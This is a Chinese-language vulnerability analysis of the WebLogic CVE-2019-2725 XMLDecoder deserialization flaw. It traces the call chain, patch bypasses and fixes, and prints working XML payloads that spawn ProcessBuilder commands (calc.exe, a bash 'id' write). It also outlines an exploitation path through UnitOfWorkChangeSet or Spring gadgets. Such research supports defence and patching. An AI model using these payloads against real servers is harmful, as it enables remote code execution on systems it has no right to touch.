Weblogic 远程命令执行漏洞分析(CVE-2019-2725)及利用payload构造详细解读
字数 1435 2025-08-29 08:32:24
Weblogic远程命令执行漏洞分析(CVE-2019-2725)及利用Payload构造详解
0x01 漏洞简介
CVE-2019-2725是Weblogic服务器中的一个远程命令执行漏洞,属于XMLDecoder反序列化漏洞系列。该漏洞的核心利用点是Weblogic对SOAP消息处理时存在XMLDecoder反序列化漏洞,通过构造特殊的XML Payload可以实现远程代码执行。
0x02 漏洞细节分析
漏洞触发流程
-
SOAP消息处理:Weblogic核心类处理SOAP消息时,SOAP header部分的
workcontext元素内容被传入WorkContextXmlInputAdapter适配器 -
XMLDecoder实例化:
WorkContextXmlInputAdapter的构造方法中实例化了一个XMLDecoder对象,并将输入流赋值给xmlDecoder属性 -
反序列化触发:调用链最终会执行
xmlDecoder.readObject()方法,由于输入可控,导致反序列化漏洞
关键调用链:
WorkContextXmlInputAdapter -> WorkContextLocalMap.readEntry() -> WorkContextXmlInputAdapter.readUTF() -> xmlDecoder.readObject()
0x03 Payload构造演进
初始利用方式(CVE-2017-3506)
最早的XMLDecoder反序列化利用方式,直接使用object元素构造ProcessBuilder对象:
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc.exe</string>
</void>
</array>
<void method="start"/>
</object>
</java>
第一次绕过(CVE-2017-10271)
Oracle补丁禁止了object标签,改用void元素的class属性:
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4</string>
</void>
</array>
<void method="start"/>
</void>
</java>
变种Payload(使用new和method元素):
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string>
<method name="start"/>
</new>
</java>
Oracle补丁限制
Oracle针对CVE-2017-10271的补丁增加了以下限制:
- 禁止
object、new、method元素节点 void元素只能使用index属性或空属性array元素的class属性只能是byte
CVE-2019-2725绕过方式
利用class元素节点绕过限制,结合特定类的构造方法实现利用:
-
利用
oracle.toplink.internal.sessions.UnitOfWorkChangeSet类:- 该类构造方法接受字节数组并直接反序列化
- 可以构造二次反序列化利用链
- 可利用JDK7u21 gadget或CommonCollections gadget实现RCE
-
利用Spring组件:
- WebLogic包含Spring组件
- 使用
FileSystemXmlApplicationContext或ClassPathXmlApplicationContext加载恶意Spring配置文件 - 通过Spring依赖注入实现RCE
0x04 漏洞修复与防御
Oracle最新补丁进一步扩充黑名单:
- 禁止
class元素 - 限制
array元素的长度
0x05 参考工具与资源
- XMLDecoder反序列化漏洞利用项目参考
- ysoserial工具生成序列化对象
- JDK7u21 gadget和CommonCollections gadget利用链
附录:完整利用思路
- 使用
class元素指定目标类(如UnitOfWorkChangeSet) - 构造符合补丁限制的参数(字节数组或基础类型)
- 利用二次反序列化链实现最终RCE
- 或者通过Spring上下文加载实现RCE
注意:实际利用需要考虑WebLogic版本和依赖库版本,不同环境可能需要调整Payload。